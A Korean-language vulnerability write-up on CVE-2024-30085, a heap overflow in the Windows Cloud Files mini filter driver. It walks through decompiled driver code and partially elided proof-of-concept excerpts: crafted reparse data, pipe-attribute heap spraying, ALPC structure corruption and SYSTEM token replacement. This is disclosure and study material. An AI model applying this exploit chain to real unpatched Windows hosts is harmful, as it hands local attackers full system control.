[하루한줄] CVE-2024-30085: Windows Cloud Files Mini Filter Driver Elevation of Privilege
URL
https://ssd-disclosure.com/ssd-advisory-cldflt-heap-based-overflow-pe/
Target
- Windows 11 23H2
- windows_10_1809 Up to (excluding) 10.0.17763.5936
- windows_10_21h2 Up to (excluding) 10.0.19044.4529
- windows_10_22h2 Up to (excluding) 10.0.19045.4529
- windows_11_21h2 Up to (excluding) 10.0.22000.3019
- windows_11_22h2 Up to (excluding) 10.0.22621.3737
- windows_11_23h2 Up to (excluding) 10.0.22631.3737
- windows_server_2019 Up to (excluding) 10.0.17763.5936
- windows_server_2022 Up to (excluding) 10.0.20348.2522
- windows_server_2022_23h2 Up to (excluding) 10.0.25398.950
Explain
해당 취약점을 통해 로컬에서의 공격자는 권한 상승하여 SYSTEM 권한으로 코드를 실행할 수 있습니다. 이를 위해, 공격자는 먼저 대상 시스템에서 낮은 권한으로 코드를 실행할 수 있어야 합니다.
이 취약점은 Windows에서 클라우드 파일 관리 기능을 지원하는 Cloud Files Mini Filter Driver에 존재합니다. 취약점 발생 원인은 고정 길이 힙 기반 버퍼에 데이터를 복사하기 전, 사용자로부터 제공된 데이터의 길이를 제대로 검증하지 않아서 발생합니다.
int HsmIBitmapNORMALOpen
(FLT_INSTANCE_CONTEXT *instanceContext,void *param_2,longlong param_3,
undefined4 param_4,CLD_REPARSE_DATA_BUFFER_1 *buffer,UINT length,undefined8 *param_7)
{
local_70 = (void *)0x0;
// ...
if (buffer->numItems < 5) {
LAB_1c006ce47:
iVar16 = -0x3ffffddb;
}
else {
uVar3 = buffer->size;
pFVar17 = (FLT_INSTANCE_CONTEXT *)(ulonglong)uVar3;
if ((((uVar3 < 0x38) || (uVar1 = buffer->items[4].tag, 0x11 < uVar1)) ||
((uVar4 = buffer->items[4].offset, uVar4 != 0 &&
((uVar4 < (uint)buffer->numItems * 8 + 0x10 || (uVar3 < uVar4)))))) ||
((uVar2 = buffer->items[4].size, uVar3 < uVar2 ||
(((uVar7 = uVar2 + uVar4, uVar7 < uVar4 || (uVar3 < uVar7)) || (uVar1 != 0x11))))))
goto LAB_1c006ce47;
uVar19 = buffer->items[4].offset;
if ((uVar19 == 0) || (buffer->items[4].size == 0)) {
local_70 = (void *)0x0;
}
else {
local_70 = (void *)((longlong)&((CLD_REPARSE_DATA_BUFFER_1 *)(buffer->items + -2))->magic +
(ulonglong)uVar19); // [1]
}
uVar19 = (uint)buffer->items[4].size;
}
if (iVar16 < 0) {
uVar19 = 0;
}
}
// ...
if ((local_70 == (void *)0x0) || (0xffe < uVar19 - 1)) { // [2]
uVar18 = 0x6d427348;
*(undefined8 *)(puVar15 + -8) = 0x1c006d123;
pvVar11 = (void *)ExAllocatePool2(0x100,0x1000,0x6d427348);
bitmap->field8_0x38 = pvVar11;
if (pvVar11 != (void *)0x0) {
*(undefined8 *)(puVar15 + -8) = 0x1c006d1a3;
memmove(pvVar11,local_70,(ulonglong)uVar19); // [3]
goto LAB_1c006d1a3;
// ...
}
취약점은 cldflt
미니필터 드라이버 내의 HsmIBitmapNORMALOpen
함수에서 발생합니다. 이 함수는 리파스 포인트 비트맵을 파싱할 때 [1], 먼저 비트맵의 크기가 0xfff
보다 큰지 확인한 후 [2], 만약 그렇다면 이를 고정 크기의 힙에 할당된 버퍼로 복사합니다 [3].
리파스 포인트: 리파스 포인트는 파일 시스템에서 파일에 대한 메타데이터를 저장하는 방식입니다.
int HsmpBitmapIsReparseBufferSupported(CLD_REPARSE_DATA_BUFFER_1 *buffer,uint length)
{
// ...
/* check item 2, tag = 0x7, size = 0x1 */
if (((((uVar3 < 0x18) || (buffer->numItems < 3)) || (uVar3 < 0x28)) ||
(uVar1 = buffer->items[2].tag, 0x11 < uVar1)) ||
((((uVar6 = buffer->items[2].offset, uVar6 != 0 &&
((uVar6 < (uint)buffer->numItems * 8 + 0x10 || (uVar3 < uVar6)))) ||
(uVar2 = buffer->items[2].size, uVar3 < uVar2)) ||
(((uVar7 = uVar2 + uVar6, uVar7 < uVar6 || (uVar3 < uVar7)) ||
((uVar1 != 7 || (buffer->items[2].size != 1)))))))) {
status = -0x3ffffddb;
}
else {
memmove(&local_res8,
(void *)((longlong)
&((CLD_REPARSE_DATA_BUFFER_1 *)(buffer->items + -2))->magic +
(ulonglong)buffer->items[2].offset),1);
hasBuf = (bool)local_res8; // [4]
}
// ...
if (hasBuf != false) { // [5]
if (buffer->numItems < 4) {
// ...
}
if (buffer->items[4].offset == 0) {
// ...
}
if (0x1000 < buffer->items[4].size) { // [6]
HsmDbgBreakOnCorruption();
HsmDbgBreakOnStatus(-0x3fff30fe);
if ((undefined **)WPP_GLOBAL_Control == &WPP_GLOBAL_Control) {
return -0x3fff30fe;
}
if ((*(uint *)(WPP_GLOBAL_Control + 0x2c) & 1) == 0) {
return -0x3fff30fe;
}
if ((byte)WPP_GLOBAL_Control[0x29] < 2) {
return -0x3fff30fe;
}
WPP_SF_ddd(*(undefined8 *)(WPP_GLOBAL_Control + 0x18),0xa2,
&WPP_ebfc5217bc2638101cf379f140ac8387_Traceguids,
(uint)buffer->items[4].size,0,2);
return -0x3fff30fe;
}
}
// ...
}
이 코드는 비트맵의 길이가 고정 크기의 버퍼 크기를 초과하지 않도록 확인하려고 시도하지만 [6], 길이를 확인하기 전에 리파스 포인트에서 변수를 가져오는 코드가 있습니다 [4]. 만약 그 변수가 false
로 설정되어 있으면, 길이 검사가 생략됩니다 [5].
uint HsmFltPreFILE_SYSTEM_CONTROL
(FLT_CALLBACK_DATA *data,FLT_RELATED_OBJECTS *fltObjects,PVOID *completionContext)
{
// ...
if (uVar1 == FSCTL_SET_REPARSE_POINT) {
reparseUpdate = (FLT_REPARSE_UPDATE *)0x0;
local_50 = (FLT_INSTANCE_CONTEXT *)0x0;
providerProcess = (PEPROCESS)0x0;
if (3 < *(uint *)&(pFVar17->parameters).Argument2) {
/* WARNING: Load size is inaccurate */
if ((streamContext == (FLT_STREAM_CONTEXT *)0x0) ||
((*(uint *)((longlong)&(streamContext->reparseUpdate->lock).field0_0x0 + 4) & 1) == 0))
{
if ((*(pFVar17->parameters).Argument4 & 0xffff0fff) != g_reparseTagCloud)
goto LAB_1c007ebb9;
if (streamContext != (FLT_STREAM_CONTEXT *)0x0) goto LAB_1c007ea86;
}
else {
LAB_1c007ea86:
reparseUpdate = streamContext->reparseUpdate;
local_50 = (FLT_INSTANCE_CONTEXT *)reparseUpdate->field2_0x10->instance;
}
instance = (FLT_INSTANCE_CONTEXT *)0x0;
FltGetInstanceContext(pFVar17->targetInstance,&instance);
if (instance != (FLT_INSTANCE_CONTEXT *)0x0) {
if (instance->magic != 0x63497348) {
FltReleaseContext(instance);
instance = (FLT_INSTANCE_CONTEXT *)0x0;
}
context = instance;
if (instance != (FLT_INSTANCE_CONTEXT *)0x0) {
iVar8 = HsmiCldGetSyncProviderProcess
(instance,reparseUpdate,data->iopb->targetFileObject, // [7]
(PEPROCESS *)&providerProcess);
HsmDbgBreakOnStatus(iVar8);
if (-1 < (int)iVar8) {
if (providerProcess == (PEPROCESS)0x0) goto LAB_1c007ebad;
iVar8 = 0xc000cf18;
HsmDbgBreakOnStatus(-0x3fff30e8);
}
if ((((undefined **)WPP_GLOBAL_Control != &WPP_GLOBAL_Control) &&
((*(uint *)(WPP_GLOBAL_Control + 0x2c) & 1) != 0)) &&
(1 < (byte)WPP_GLOBAL_Control[0x29])) {
uVar14 = 0x13;
LAB_1c007eb5e:
WPP_SF_iiqd(*(undefined8 *)(WPP_GLOBAL_Control + 0x18),uVar14,
&WPP_342c4cc461be373729abc9b16bce3879_Traceguids,streamContext,
(char)reparseUpdate,(char)local_50,(char)iVar8);
}
LAB_1c007eb89:
FltReleaseContext(context);
if ((int)iVar8 < 0) {
(data->ioStatus).field0_0x0.Status = iVar8;
uVar10 = 4;
(data->ioStatus).Information = 0;
}
}
}
}
goto LAB_1c007ebb9;
}
// ...
}
기본적으로, 동기화 루트가 등록되고 연결된 후에 리파스 포인트를 설정하는 것은 허용되지 않습니다. 코드에서는 이를 확인하기 위해 HsmiCldGetSyncProviderProcess
함수를 호출하여 [7], 각 파일이 어떤 동기화 루트에도 속하지 않는지 확인합니다.
int HsmiCldGetSyncProviderProcess
(FLT_INSTANCE_CONTEXT *instanceContext,FLT_REPARSE_UPDATE *reparseUpdate,
PFILE_OBJECT fileObject,PEPROCESS *providerProcess)
{
// ...
if (fileObject != (PFILE_OBJECT)0x0) {
status = HsmiQueryFullFilePath
(instanceContext->instance,reparseUpdate_0,fileObject,0x101, // [8]
(PUNICODE_STRING)&filePath);
// ...
lVar1 = (PEPROCESS)
(*CldHsmGetSyncProviderProcessByPath)
(*(undefined8 *)&instanceContext->field_0x10,&filePath); // [9]
}
// ...
return status;
}
HsmiCldGetSyncProviderProcess
함수는 파일 객체에서 파일 이름을 가져오고 [8], 이를 사용하여 해당 파일과 관련된 동기화 루트 항목을 가져옵니다 [9]. 그러나 이 검사에는 결함이 있습니다. 이유는 파일 이름 필드가 IRP_MJ_CREATE
동안에만 유효하기 때문입니다. 파일이 있는 디렉터리가 이동되어 리파스 포인트로 만들어지면, 새로운 경로에는 동기화 루트가 없기 때문에 이 검사를 우회할 수 있습니다.
poc 코드 리뷰
poc 코드가 길어 상세 코드는 링크참고 부탁드립니다.
요약
- 리파스 로직의 검증 부족 → 사용자 제어 데이터가 커널 힙을 넘겨 쓰는 취약점 발생
- Heap Spray → ALPC 구조체(또는 PIPE Attribute 구조체)가 취약 버퍼 인접 위치에 배치
- 오버플로우로 ALPC 구조체 조작 → 임의 커널 포인터 조작 및 토큰 교체
- 최종적으로 SYSTEM 권한 획득 → 권한 상승(Elevation of Privilege) 성공
1. 리파스(Reparse) 데이터 생성 과정에서의 검증 부족
MakeDataBuffer()
함수에서 볼 수 있듯이, 매우 큰 크기의 버퍼(dataLen = 0x3fe8
)가 할당되고, 그 안에 여러 개의 CLD_ADD_ITEM()
호출을 통해 구조체 필드를 채우고 있습니다. 특히 CLD_ADD_ITEM(0x11, 0x3800, 0x210);
등과 같이 큰 사이즈(0x3800)로 작성된 항목이 있고, 이후 memcpy(&p[0x1110], overData, overSize);
로 외부에서 전달된 overData
를 직접 쓴다는 점이 핵심입니다. 이 로직에서 데이터 경계 검증이 부족하여, 커널이 해석하는 리파스 정보(IO_REPARSE_TAG_CLOUD
)가 힙 영역을 초과하여 쓰여질 수 있는 취약점이 발생합니다.
PREPARSE_DATA_BUFFER MakeDataBuffer(PVOID overData, ULONG overSize) {
DWORD dataLen = 0x3fe8;
PBYTE data = new BYTE[dataLen];
memset(data, 0, dataLen);
// ...
// 일부 구조체 필드 초기화
// ...
// 클라우드 리파스 버퍼의 마지막에 대규모 bitmap 영역 설정
CLD_ADD_ITEM(0x11, 0x3800, 0x210); // 매우 큰 사이즈 0x3800 지정
// ...
// reparse buffer 내 bitmap 영역으로 이동
// ...
CLD_ADD_ITEM(0x11, 0x1000 + overSize, 0x110);
// 문제 지점: 사용자가 전달한 overData를 memcpy로 직접 복사
memcpy(&p[0x1110], overData, overSize);
// ...
// 최종적으로 PREPARSE_DATA_BUFFER로 만들어서 반환
// ...
return rd;
}
2. 힙 레이아웃 컨트롤(Heap Spray)과 ALPC 구조체 오버플로우
코드 후반부에서 PipePoolSprayAlloc()
함수를 반복적으로 호출하여, PIPE Attribute를 이용해 커널 힙(NonPagedPool
)에 동일한 크기의 객체를 대량 스프레이합니다. 그리고 AllocateALPCReserveHandles()
를 통해 ALPC(Advanced Local Procedure Call) 관련 내부 구조체(g_reserve
, g_message
)가 해당 풀(POOL) 상에 할당되도록 유도합니다.
결국 리파스(Reparse)로 인한 오버플로우가 발생할 때, ALPC 구조체가 위치한 메모리까지 덮어쓰게 됩니다. 즉, 커널이 리파스 포인트를 처리하는 과정에서 공격자가 의도한 값으로 ALPC 구조체가 조작되는 것이 핵심입니다.
BOOL PipePoolSprayAlloc(SIZE_T poolSize, UINT sprayCount, BYTE* pAttr, PCSTR szPrefix) {
BOOL bRet = TRUE;
SIZE_T attrSize = poolSize - 0x28;
// sprayCount만큼 같은 크기의 PA(PIPE Attribute) 구조체를 생성
for (UINT i = 0; i < sprayCount; i++) {
snprintf((CHAR*)pAttr, attrSize, "%s%x", szPrefix, i);
if (!PipeWriteAttr(pAttr, attrSize)) {
bRet = FALSE;
break;
}
}
return bRet;
}
// 사용 예시
result = PipePoolSprayAlloc(0x1000, SPRAY_COUNT, pAttr, "a");
result = PipePoolSprayAlloc(0x1000, SPRAY_COUNT, pAttr, "b");
3. ALPC 구조체 조작을 통한 권한 상승(EoP)
오버플로우로 ALPC 메시지/리소스(g_message
, g_reserve
) 구조체 내부 포인터와 필드가 공격자가 원하는 값으로 변합니다. 이후 NtAlpcSendWaitReceivePort()
호출을 통해 수정된 ALPC 구조체를 사용하게 만들면, 임의 커널 포인터에 접근하거나, EPROCESS 구조를 재설정하는 것 등이 가능해집니다.
// 처음에는 system EPROCESS에서 Token을 읽어옴
pAlpcMsgData[0] = ullSystemEPROCaddr; // AttributeValue
pAlpcMsgData[1] = 0x00787878; // name
for (int i = 0; i < g_portCount; i++) {
status = NtAlpcSendWaitReceivePort(g_ports[i], ALPC_MSGFLG_NONE,
(PPORT_MESSAGE)alpcMessage, NULL,
NULL, NULL, NULL, NULL);
}
// 이후 g_message->ExtensionBuffer를 현재 프로세스 EPROCESS + Token 오프셋으로 설정
g_message->ExtensionBuffer = (BYTE*)ullEPROCaddr + tokenOffset;
g_message->ExtensionBufferSize = 8;
// ALPC 메시지에 system Token 값을 대입
pAlpcMsgData[0] = ullToken; // system Token
for (int i = 0; i < g_portCount; i++) {
NtAlpcSendWaitReceivePort(g_ports[i], ALPC_MSGFLG_NONE,
(PPORT_MESSAGE)alpcMessage, NULL,
NULL, NULL, NULL, NULL);
}
실제로 코드의 마지막 부분에서 g_message->ExtensionBuffer
를 커널 내 EPROCESS의 Token
필드 위치로 설정하고, 그 값을 시스템(SYSTEM
)의 토큰으로 바꾸는 과정을 볼 수 있습니다. 이로써 현재 프로세스가 SYSTEM 권한을 획득하게 되고, 이어서 CreateProcess("cmd.exe", ...)
를 실행하여 권한 상승(EoP)이 완성됩니다.
// ----------------------------------------
// [1] system EPROCESS로부터 읽어온 system 토큰(ullToken)을
// 현재 프로세스의 EPROCESS + tokenOffset 위치에 덮어쓰도록 ALPC 구조체 조작
// ----------------------------------------
g_message->ExtensionBuffer = (BYTE*)ullEPROCaddr + tokenOffset;
g_message->ExtensionBufferSize = 8;
ULONG DataLength = 8;
memset(alpcMessage, 0, sizeof(ALPC_MESSAGE));
// ALPC 메시지 헤더 세팅
alpcMessage->PortHeader.u1.s1.DataLength = DataLength;
alpcMessage->PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + DataLength;
alpcMessage->PortHeader.MessageId = (ULONG)g_hResource;
// 실제로 덮어쓸 데이터(= system 토큰 값) 설정
ULONG_PTR* pAlpcMsgData = (ULONG_PTR*)((BYTE*)alpcMessage + sizeof(PORT_MESSAGE));
pAlpcMsgData[0] = ullToken; // system 토큰
// 모든 ALPC 포트에 대해 NtAlpcSendWaitReceivePort() 호출
// → g_message->ExtensionBuffer가 가리키는 위치(현재 프로세스 Token)에
// system 토큰 값(ullToken)을 기록하여 토큰 교체
for (int i = 0; i < g_portCount; i++) {
NtAlpcSendWaitReceivePort(
g_ports[i],
ALPC_MSGFLG_NONE,
(PPORT_MESSAGE)alpcMessage,
NULL,
NULL,
NULL,
NULL,
NULL
);
}
// ----------------------------------------
// [2] 최종적으로 SYSTEM 권한 획득 확인을 위해 cmd.exe 실행
// ----------------------------------------
STARTUPINFO StartupInfo = {0};
PROCESS_INFORMATION ProcessInformation = {0};
BOOL result = CreateProcess(
L"C:\\Windows\\System32\\cmd.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&StartupInfo,
&ProcessInformation
);
if (result == FALSE) {
printf("[-] Error\n");
return FALSE;
}
정리하면, 이 코드 전체 흐름에서 핵심은 대량 스프레이로 커널 힙 레이아웃을 조작하고, 리파스 세팅 과정에서 발생하는 검증 부족을 이용해, 커널 객체(ALPC 관련 구조체)의 중요한 포인터를 임의의 값으로 덮어쓰는 것입니다. 이후 EPROCESS 내 Token
필드를 교체하여 최종적으로 관리자 권한을 획득하는 Exploit이 완성됩니다.
Reference
https://nvd.nist.gov/vuln/detail/cve-2024-30085
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-30085
https://www.youtube.com/watch?v=MgPHAHwe7Bs
https://github.com/murdok1982/Exploit-PoC-para-CVE-2024-30085
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.